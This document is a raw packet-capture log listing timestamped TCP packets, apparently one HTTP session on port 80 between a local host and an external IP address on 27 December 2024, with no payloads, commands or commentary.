Dec 27, 2024 09:00:20.206762075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.206837893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.206881046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.206881046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.207628965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.207701921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.207771063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.208493948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.208602905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.209350109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.209456921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.209475994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.209530115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.210263968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.210334063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.211158991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.211210012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.211258888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.211321115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.212017059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.212133884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.212229967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.212874889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.212930918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.213749886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.213809013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.213844061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.213906050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.214624882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.214724064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.215492010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.215574980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.215631962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.216384888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.216449976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.216485023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.216537952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.217257023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.217374086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.218179941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.218260050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.218322039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.218415976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.219052076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.219147921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.219453096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.219898939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.220000982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.220184088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.220797062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.220917940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.221044064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.221667051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.221756935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.221824884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.222568035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.222771883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.222861052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.223422050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.223530054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.223584890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.224308968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.224381924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.224592924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.225169897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.225291967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.226043940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.226100922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.226160049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.226206064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.226927996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.227117062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.227209091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.227845907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.227941036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.228020906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.228714943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.228812933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.228859901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.229568005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.229645967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.229996920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.230458021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.230559111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.230616093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.231307030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.231447935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.231503010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.232202053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.232316971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.232703924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.233053923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.233202934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.233259916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.233957052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.234101057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.234157085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.234872103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.234960079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.235071898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.235711098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.235820055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.236037970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.236594915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.236721039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.236818075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.237493992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.237595081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.238353014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.238409042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.238465071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.238543034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.239377022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.239460945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.240128040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.240196943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.240256071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.240371943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.241035938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.241106987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.241889000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.241952896 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.242022038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.242105007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.242763996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.242880106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.243441105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.243622065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.243700027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.244451046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.244510889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.444060087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.444180012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.444286108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.444495916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.444628954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.445379019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.445446968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.445504904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.445585966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.446230888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.446517944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.446589947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.446650982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.447453022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.447560072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.447706938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.448312998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.448362112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.448410034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.449155092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.449259043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.449352980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.450069904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.450119019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.450202942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.450907946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.451009035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.451100111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.451785088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.451880932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.451941013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.455800056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.455816031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.455961943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.456007957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.456053972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.456137896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.456917048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.457026005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.457071066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.457787991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.457854033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.457891941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.458676100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.458771944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.458884001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.459557056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.459661007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.459709883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.460411072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.460465908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.460602045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.461323023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.461445093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.461484909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.462210894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.462271929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.462291956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.463044882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.463170052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.463227034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.463932991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.464049101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.464124918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.464827061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.464876890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.464911938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.465683937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.465856075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.465923071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.466595888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.466676950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.466708899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.467453003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.467585087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.467638969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.468346119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.468405962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.468444109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.469252110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.469268084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.469331026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.470077038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.470132113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.470154047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.471276999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.471374035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.471424103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.471970081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.472042084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.472112894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.472769976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.472913980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.473033905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.473628044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.473701000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.473707914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.474518061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.474598885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.474687099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.475357056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.475433111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.475459099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.476238012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.476382017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.476480961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.477103949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.477191925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.477230072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.477989912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.478132963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.478209972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.478873968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.478971958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.478986979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.479737997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.479914904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.479978085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.480622053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.480679989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.480726957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.481493950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.481580019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.481656075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.482393980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.482506990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.482518911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.483285904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.483374119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.483437061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.484143019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.484261990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.484282017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.485018969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.485131025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.485193014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.485888958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.485989094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.486026049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.486763954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.486952066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.487016916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.487674952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.487791061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.487857103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.488554955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.488651991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.488671064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.489415884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.489535093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.489655018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.490284920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.490350008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.490376949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.491173983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.491278887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.491331100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.492044926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.492166042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.492232084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.492918968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.493102074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.645416975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.645489931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.645600080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.645759106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.645952940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.646002054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.646651030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.646780014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.647464991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.647505999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.647803068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.647919893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.648024082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.649815083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.649889946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.650932074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.652321100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.652343035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.652360916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.652368069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.652376890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.652393103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.652403116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.652431965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.652483940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.653278112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.653362036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.653433084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.654241085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.654320002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.654369116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.658457041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.658505917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.658617973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.658946991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.658963919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.659051895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.659761906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.659935951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.659960985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.660742044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.660923958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.660998106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:20.662391901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.662410975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.662451982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:20.662468910 CET	80	49743	185.215.113.16	192.168.2.4
